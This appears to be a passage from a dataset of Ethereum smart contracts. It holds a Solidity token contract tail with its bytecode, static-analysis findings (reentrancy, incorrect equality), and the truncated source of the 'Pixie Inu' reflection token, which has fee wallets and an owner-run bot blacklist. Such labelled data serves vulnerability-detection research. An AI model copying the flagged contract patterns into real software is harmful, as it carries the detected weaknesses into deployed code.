private view returns (uint256 _length) { uint256 length; uint256 _parentId = getParentOf(_tokenId); address _parentAddr = parentAddr; if (_parentId == DEFAULTPARENT || !_addressNotNull(_parentAddr)) { return 0; } TokenLayer layer = TokenLayer(_parentAddr); bool parentExists = layer.exists(_parentId); while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) { parentExists = layer.exists(_parentId); if(!parentExists) { return(length); } _parentId = layer.getParentOf(_parentId); _parentAddr = layer.parentAddr(); layer = TokenLayer(_parentAddr); length++; } return(length); } function _getNextPrice(uint256 _tokenId) private view returns (uint256 _nextPrice) { uint256 _price = tokenIndexToToken[_tokenId].price; uint256 _totalFees = getChainFees(_tokenId); _price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees)); return(_price); } }
0x6060604052600436106102425763ffffffff60e060020a60003504166301c6adc3811461024757806306fdde031461026b578063095ea7b3146102f55780630b7e9c44146103175780630c990004146103365780631051db34146103645780631271f09a1461038b57806313e75206146103b457806315328109146103dc57806318160ddd1461040b57806318384df21461041e5780631c75b6b214610434578063223e97be1461044a57806323b872dd146104635780632ce0ca6b1461048b5780633151609e146104c7578063481c6a75146104e05780634f558e79146104f357806353ebf6bd146105095780636297c16c146105215780636352211e14610537578063645cd0461461054d5780636827e7641461059c57806370a08231146105af578063718eaa50146105ce578063819912a2146105ed5780638462151c1461060c578063897a7dab1461067e5780638da5cb5b1461080d57806395d89b41146108205780639d77e4f814610833578063a12396aa14610849578063a168d87314610862578063a9059cbb14610875578063b2e6ceeb14610897578063b54b4fb9146108ad578063b6791ad4146108c3578063b7d9549c146108f4578063ba0e930a14610916578063beabacc814610935578063c10753291461095d578063ce2c6ad51461097f578063cf837fad14610992578063d5182b70146109a5578063d5b2a01a146109bb578063e4b50cb8146109ce578063f2fde38b14610a34578063f83fcdea14610a53578063fbf0ade114610a78578063ff5f8b4b14610a8e575b600080fd5b341561025257600080fd5b610269600160a060020a0360043516602435610ab0565b005b341561027657600080fd5b61027e610ad6565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102ba5780820151838201526020016102a2565b50505050905090810190601f1680156102e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561030057600080fd5b610269600160a060020a0360043516602435610b18565b341561032257600080fd5b610269600160a060020a0360043516610b3a565b341561034157600080fd5b610269600435600160a060020a036024351660443560643560843560a435610be3565b341561036f57600080fd5b610377610dd3565b604051901515815260200160405180910390f35b341561039657600080fd5b610269600160a060020a036004358116906024359060443516610dd8565b34156103bf57600080fd5b6103ca600435610e1e565b60405190815260200160405180910390f35b34156103e757600080fd5b6103ef610e4a565b604051600160a060020a03909116815260200160405180910390f35b341561041657600080fd5b6103ca610e59565b341561042957600080fd5b6103ca600435610e5f565b341561043f57600080fd5b610269600435610e8c565b341561045557600080fd5b610269600435602435610ec7565b341561046e57600080fd5b610269600160a060020a0360043581169060243516604435610f7d565b341561049657600080fd5b610269600461014481600a610140604051908101604052919082826101408082843750939550610fbe945050505050565b34156104d257600080fd5b610269600435602435611001565b34156104eb57600080fd5b6103ef6110b7565b34156104fe57600080fd5b6103776004356110c6565b341561051457600080fd5b61026960043515156110db565b341561052c57600080fd5b610269600435611182565b341561054257600080fd5b6103ef600435611290565b341561055857600080fd5b6105636004356112c5565b604051808261010080838360005b83811015610589578082015183820152602001610571565b5050505090500191505060405180910390f35b34156105a757600080fd5b6103ca611363565b34156105ba57600080fd5b6103ca600160a060020a0360043516611369565b34156105d957600080fd5b610269600160a060020a0360043516611384565b34156105f857600080fd5b610269600160a060020a03600435166113dc565b341561061757600080fd5b61062b600160a060020a0360043516611434565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561066a578082015183820152602001610652565b505050509050019250505060405180910390f35b341561068957600080fd5b6102696004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061153495505050505050565b341561081857600080fd5b6103ef61160e565b341561082b57600080fd5b61027e61161d565b341561083e57600080fd5b6103ca60043561165e565b341561085457600080fd5b6102696004356024356116a4565b341561086d57600080fd5b6103ef61175a565b341561088057600080fd5b610269600160a060020a0360043516602435611769565b34156108a257600080fd5b61026960043561178b565b34156108b857600080fd5b6103ca6004356117ac565b34156108ce57600080fd5b6108d96004356117d8565b60405180826101408083836000815183820152602001610571565b34156108ff57600080fd5b610269600435600160a060020a0360243516611ab6565b341561092157600080fd5b610269600160a060020a0360043516611c07565b341561094057600080fd5b610269600160a060020a0360043581169060243516604435611cb0565b341561096857600080fd5b610269600160a060020a0360043516602435611cf1565b341561098a57600080fd5b6108d9611d9d565b341561099d57600080fd5b610377611ddc565b34156109b057600080fd5b610377600435611dec565b34156109c657600080fd5b6103ca611e03565b34156109d957600080fd5b6109e4600435611e09565b6040519788526020880196909652604080880195909552600160a060020a039384166060880152608087019290925260a08601521660c084015260e0830191909152610100909101905180910390f35b3415610a3f57600080fd5b610269600160a060020a0360043516611e84565b3415610a5e57600080fd5b610269600435602435600160a060020a0360443516611f12565b3415610a8357600080fd5b610269600435611fca565b3415610a9957600080fd5b610269600435600160a060020a0360243516612005565b60015460a060020a900460ff1615610ac757600080fd5b610ad2823383612045565b5050565b610ade6125c6565b60408051908101604052600c81527f43727970746f4369746965730000000000000000000000000000000000000000602082015290505b90565b60015460a060020a900460ff1615610b2f57600080fd5b610ad282823361208e565b60005433600160a060020a03908116911614610b5557600080fd5b600160a060020a0381161515610ba357600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610b9e57600080fd5b610be0565b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515610be057600080fd5b50565b610beb6125d8565b60015433600160a060020a0390811691161480610c16575060005433600160a060020a039081169116145b1515610c2157600080fd5b60008311610c2e57600080fd5b610c3786612123565b1515610c4257600080fd5b63ffffffff87168714610c5457600080fd5b610c5d876110c6565b15610c6757600080fd5b60068054600101905561010060405190810160409081526001825260006020808401829052600160a060020a038a168385015260608401869052608084018990524360a085015260c0840188905260e084018790528a8252600290522090915081908151815460ff191690151517815560208201518154600160a060020a03919091166101000274ffffffffffffffffffffffffffffffffffffffff00199091161781556040820151600182018054600160a060020a031916600160a060020a0392909216919091179055606082015160028201556080820151600382015560a0820151816004015560c0820151816005015560e0820151600690910155507f50149f528b157cc2203af9bb98c3c320364694d9ffc6da5cc0b5ef6d2e8a1398878686896040519384526020840192909252604080840191909152600160a060020a0390911660608301526080909101905180910390a1610dca60008789612131565b50505050505050565b600190565b60045433600160a060020a0390811691161480610e03575060015433600160a060020a039081169116145b1515610e0e57600080fd5b610e1983838361208e565b505050565b6000610e29826110c6565b1515610e3457600080fd5b5060009081526002602052604090206005015490565b600554600160a060020a031681565b60065490565b6000610e6a826110c6565b1515610e7557600080fd5b506000908152600260208190526040909120015490565b60015433600160a060020a0390811691161480610eb7575060005433600160a060020a039081169116145b1515610ec257600080fd5b600755565b60015460009033600160a060020a0390811691161480610ef5575060005433600160a060020a039081169116145b1515610f0057600080fd5b610f09836110c6565b1515610f1457600080fd5b5060008281526002602052604090819020600501805490839055907fd6c4347571cebd49451e87a1c1b833ca84791009a139f27d0dcf3159e96a08a5908490839085905180848152602001838152602001828152602001935050505060405180910390a1505050565b60045433600160a060020a0390811691161480610fa8575060015433600160a060020a039081169116145b1515610fb357600080fd5b610e19838383612045565b60015433600160a060020a0390811691161480610fe9575060005433600160a060020a039081169116145b1515610ff457600080fd5b610ad2600982600a61261c565b60015460009033600160a060020a039081169116148061102f575060005433600160a060020a039081169116145b151561103a57600080fd5b611043836110c6565b151561104e57600080fd5b5060008281526002602081905260409182902001805490839055907fb7b3fa00c09f5253e4c6bc72c004a0977965613f9f533cfb93014dade835fcb5908490839085905192835260208301919091526040808301919091526060909101905180910390a1505050565b600154600160a060020a031681565b60009081526002602052604090205460ff1690565b60015433600160a060020a0390811691161480611106575060005433600160a060020a039081169116145b151561111157600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a831515021790557fd1b3ccafda2b2f8613e51c6ac4f6e844932f92b0058df6d7ee800b152f55a00d3382604051600160a060020a039092168252151560208201526040908101905180910390a150565b60015460009033600160a060020a03908116911614806111b0575060005433600160a060020a039081169116145b15156111bb57600080fd5b63ffffffff821682146111cd57600080fd5b6111d6826110c6565b15156111e157600080fd5b50600680546000190181556000828152600260208190526040808320600181018054825474ffffffffffffffffffffffffffffffffffffffffff19168355600160a060020a0319811690915592810184905560038101849055600481018490556005810184905590930191909155600160a060020a0316907f5dd85a7dcd757c302c9d79eb5d4c00cfb8c98f5f4f41c52408f7d25233e54e959083905190815260200160405180910390a15050565b600061129b826110c6565b15156112a657600080fd5b50600090815260026020526040902060010154600160a060020a031690565b6112cd61265a565b60006112d761265a565b600084815260026020908152604091829020600381015484526005810154918401919091526006810154918301919091526001810154600160a060020a0316606083015291506113268461221b565b60808201526113348461165e565b6007540160a082015281546101009004600160a060020a031660c082015260029091015460e082015292915050565b60075481565b600160a060020a031660009081526003602052604090205490565b60015433600160a060020a03908116911614806113af575060005433600160a060020a039081169116145b15156113ba57600080fd5b60058054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a0390811691161480611407575060005433600160a060020a039081169116145b151561141257600080fd5b60048054600160a060020a031916600160a060020a0392909216919091179055565b61143c6125c6565b60006114466125c6565b60008060008061145588611369565b955085151561148557600060405180591061146d5750595b90808252806020026020018201604052509650611529565b856040518059106114935750595b908082528060200260200182016040525094506114ae610e59565b93506000925060009150600090505b838111611525576114cd826110c6565b1561151a576000828152600260205260409020600190810154910190600160a060020a038981169116141561151a578185848151811061150957fe5b602090810290910101526001909201915b6001909101906114bd565b8496505b505050505050919050565b60015460009033600160a060020a0390811691161480611562575060005433600160a060020a039081169116145b151561156d57600080fd5b5060005b8651811015610dca5761160687828151811061158957fe5b9060200190602002015187838151811061159f57fe5b906020019060200201518784815181106115b557fe5b906020019060200201518785815181106115cb57fe5b906020019060200201518786815181106115e157fe5b906020019060200201518787815181106115f757fe5b90602001906020020151610be3565b600101611571565b600054600160a060020a031681565b6116256125c6565b60408051908101604052600d81527f5265736f75726365546f6b656e000000000000000000000000000000000000006020820152905090565b60008060008061166d85612266565b925060009150600090505b8281101561169c57600981600a811061168d57fe5b01549190910190600101611678565b509392505050565b60015460009033600160a060020a03908116911614806116d2575060005433600160a060020a039081169116145b15156116dd57600080fd5b6116e6836110c6565b15156116f157600080fd5b5060008281526002602052604090819020600301805490839055907f6e94426bbffb1bc76323b8410b8c5a5197aee10363f4ed90079eb17a4c07eef5908490839085905192835260208301919091526040808301919091526060909101905180910390a1505050565b600454600160a060020a031681565b60015460a060020a900460ff161561178057600080fd5b610ad23383836124a8565b60015460a060020a900460ff16156117a257600080fd5b610be081336124da565b60006117b7826110c6565b15156117c257600080fd5b5060009081526002602052604090206006015490565b6117e0612682565b6000806117eb612682565b60008060006117f9886110c6565b151561180457600080fd5b61180d88610e1e565b600554909650600160a060020a0316945063075bcd158614801590611836575061183685612123565b15611529576000925084915081600160a060020a0316634f558e798760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561189157600080fd5b6102c65a03f115156118a257600080fd5b50505060405180519150505b63075bcd1586141580156118c657506118c685612123565b80156118cf5750805b15611aae5781600160a060020a0316634f558e798760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561192357600080fd5b6102c65a03f1151561193457600080fd5b505050604051805191505080151561194e57839650611529565b81600160a060020a0316636352211e8760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561199d57600080fd5b6102c65a03f115156119ae57600080fd5b505050604051805190508484600a81106119c457fe5b600160a060020a03928316602091909102919091015260019093019282166313e752068760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515611a2757600080fd5b6102c65a03f11515611a3857600080fd5b5050506040518051965050600160a060020a03821663153281096000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611a8957600080fd5b6102c65a03f11515611a9a57600080fd5b5050506040518051905094508491506118ae565b839650611529565b6004546000908190819033600160a060020a0390811691161480611ae8575060015433600160a060020a039081169116145b1515611af357600080fd5b611afc856110c6565b1515611b0757600080fd5b60008581526002602052604090206006810154600190910154909350600160a060020a03169150611b378561165e565b9050611b6a81600754016103e803611b5e6008546103e8018661253190919063ffffffff16565b9063ffffffff61256716565b600086815260026020526040908190206006810183905560038101546005909101547feb27367f0e316117420e252c8ac385803e0c10190473338e035ef412226cf17a9389938893919288928b92909190519687526020870195909552604080870194909452600160a060020a0392831660608701529116608085015260a084015260c083019190915260e0909101905180910390a15050505050565b60015433600160a060020a0390811691161480611c32575060005433600160a060020a039081169116145b1515611c3d57600080fd5b600160a060020a0381161515611c5257600080fd5b600154600160a060020a0380831691167f9cb45c728de594dab506a1f1a8554e24c8eeaf983618d5ec5dd7bc6f3c49feee60405160405180910390a360018054600160a060020a031916600160a060020a0392909216919091179055565b60045433600160a060020a0390811691161480611cdb575060015433600160a060020a039081169116145b1515611ce657600080fd5b610e198284836124a8565b60005433600160a060020a03908116911614611d0c57600080fd5b600160a060020a0330163181901015611d2457600080fd5b600160a060020a0382161515611d6c57600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515611d6757600080fd5b610ad2565b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610ad257600080fd5b611da56126ab565b6009600a6101406040519081016040529190610140830182845b815481526020019060010190808311611dbf575050505050905090565b60015460a060020a900460ff1681565b600090815260026020526040902060040154431490565b60085481565b60008181526002602052604081206003810154600582015460068301546001840154929491939092600160a060020a03169190819081908190611e4b8a61221b565b9450611e568a61165e565b600754600283015492549a9c999b5097999698959701956101009004600160a060020a031694909350915050565b60005433600160a060020a03908116911614611e9f57600080fd5b600160a060020a0381161515611eb457600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60045460009033600160a060020a0390811691161480611f40575060015433600160a060020a039081169116145b1515611f4b57600080fd5b611f55828561257e565b1515611f6057600080fd5b5060008381526002602052604090819020600601805490849055907f2bce37c591c5b0d254c3056688b080a088f160fff82b6e79f456c8a20d5570f6908590839086905180848152602001838152602001828152602001935050505060405180910390a150505050565b60015433600160a060020a0390811691161480611ff5575060005433600160a060020a039081169116145b151561200057600080fd5b600855565b60045433600160a060020a0390811691161480612030575060015433600160a060020a039081169116145b151561203b57600080fd5b610ad282826124da565b61204f838261257e565b151561205a57600080fd5b61206482826125a1565b151561206f57600080fd5b61207882612123565b151561208357600080fd5b610e19838383612131565b612098818361257e565b15156120a357600080fd5b600082815260026020526040908190208054600160a060020a03808716610100810274ffffffffffffffffffffffffffffffffffffffff00199093169290921790925591908316907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a3505050565b600160a060020a0316151590565b600160a060020a0380831660008181526003602090815260408083208054600190810190915586845260029092529091209081018054600160a060020a031916909217909155436004909101558316156121cf57600160a060020a0383166000908152600360209081526040808320805460001901905583835260029091529020805474ffffffffffffffffffffffffffffffffffffffff00191690555b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a3505050565b600081815260026020526040812060060154816122378461165e565b905061225e81600754016103e803611b5e6008546103e8018561253190919063ffffffff16565b949350505050565b60008060008060008061227887610e1e565b600554909450600160a060020a0316925063075bcd158414806122a1575061229f83612123565b155b156122af576000955061249e565b82915081600160a060020a0316634f558e798560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561230157600080fd5b6102c65a03f1151561231257600080fd5b50505060405180519150505b63075bcd158414158015612336575061233683612123565b801561233f5750805b1561249a5781600160a060020a0316634f558e798560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561239357600080fd5b6102c65a03f115156123a457600080fd5b50505060405180519150508015156123be5784955061249e565b81600160a060020a03166313e752068560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561240d57600080fd5b6102c65a03f1151561241e57600080fd5b5050506040518051945050600160a060020a03821663153281096000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561246f57600080fd5b6102c65a03f1151561248057600080fd5b5050506040518051600190960195935083925061231e9050565b8495505b5050505050919050565b6124b2838261257e565b15156124bd57600080fd5b6124c682612123565b15156124d157600080fd5b612078816110c6565b6000828152600260205260409020600101548190600160a060020a031661250082612123565b151561250b57600080fd5b61251582856125a1565b151561252057600080fd5b61252b818386612131565b50505050565b6000808315156125445760009150612560565b5082820282848281151561255457fe5b041461255c57fe5b8091505b5092915050565b600080828481151561257557fe5b04949350505050565b600090815260026020526040902060010154600160a060020a0390811691161490565b6000908152600260205260409020546101009004600160a060020a0390811691161490565b60206040519081016040526000815290565b6101006040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e082015290565b82600a810192821561264a579160200282015b8281111561264a57825182559160200191906001019061262f565b506126569291506126c6565b5090565b6101006040519081016040526008815b600081526020019060019003908161266a5790505090565b610140604051908101604052600a815b6000815260001990910190602001816126925790505090565b6101406040519081016040526000815260096020820161266a565b610b1591905b8082111561265657600081556001016126cc5600a165627a7a72305820de4f77b84f80b8a8d0eec7658329401f019d1e7688b766060e2d76e4829f2f780029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
8,841
0x1a55ff44b3da2afb787f02ba9f2b56dd855621e9
/** *Submitted for verification at Etherscan.io on 2021-11-07 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PIXIE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Pixie Inu"; string private constant _symbol = "PIXIE"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; address payable private _marketingWalletAddress; address payable private _deadAddress = payable(0x000000000000000000000000000000000000dEaD); // Uniswap Pair IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; // Burn Related address[] private _brunAddressList; uint256[] private _burnAmountList; bool private initialized = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private initialLimitDuration; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(initialized, "Contract not yet initialized"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { if (initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function initContract(address payable feeAddress, address payable marketingWalletAddress) external onlyOwner() { require(!initialized,"Contract has already been initialized"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; _feeAddress = feeAddress; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[feeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; initialized = true; initialLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _feeAddress || _msgSender() == _marketingWalletAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function setFeeWallet (address payable feeWalletAddress) external { require(_msgSender() == _feeAddress || _msgSender() == _marketingWalletAddress); _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _feeAddress || _msgSender() == _marketingWalletAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _feeAddress || _msgSender() == _marketingWalletAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _feeAddress || _msgSender() == _marketingWalletAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _feeAddress || _msgSender() == _marketingWalletAddress); require(team <= 9); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _feeAddress || _msgSender() == _marketingWalletAddress); require(tax <= 1); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _feeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function burn(uint256 _amtToBurn) external { transfer(_deadAddress, _amtToBurn); for (uint i = 0; i < _brunAddressList.length; i += 1) { address _address = _brunAddressList[i]; uint256 _previousAmt = _burnAmountList[i]; require(msg.sender != address(0), "Address invalid"); if (_address == msg.sender) { _burnAmountList[i] = _previousAmt.add(_amtToBurn); return; } } _brunAddressList.push(msg.sender); _burnAmountList.push(_amtToBurn); } function totalBurned() public view returns (uint256) { return balanceOf(_deadAddress); } function userBurned(address _user) public view returns (uint256) { for (uint i = 0; i 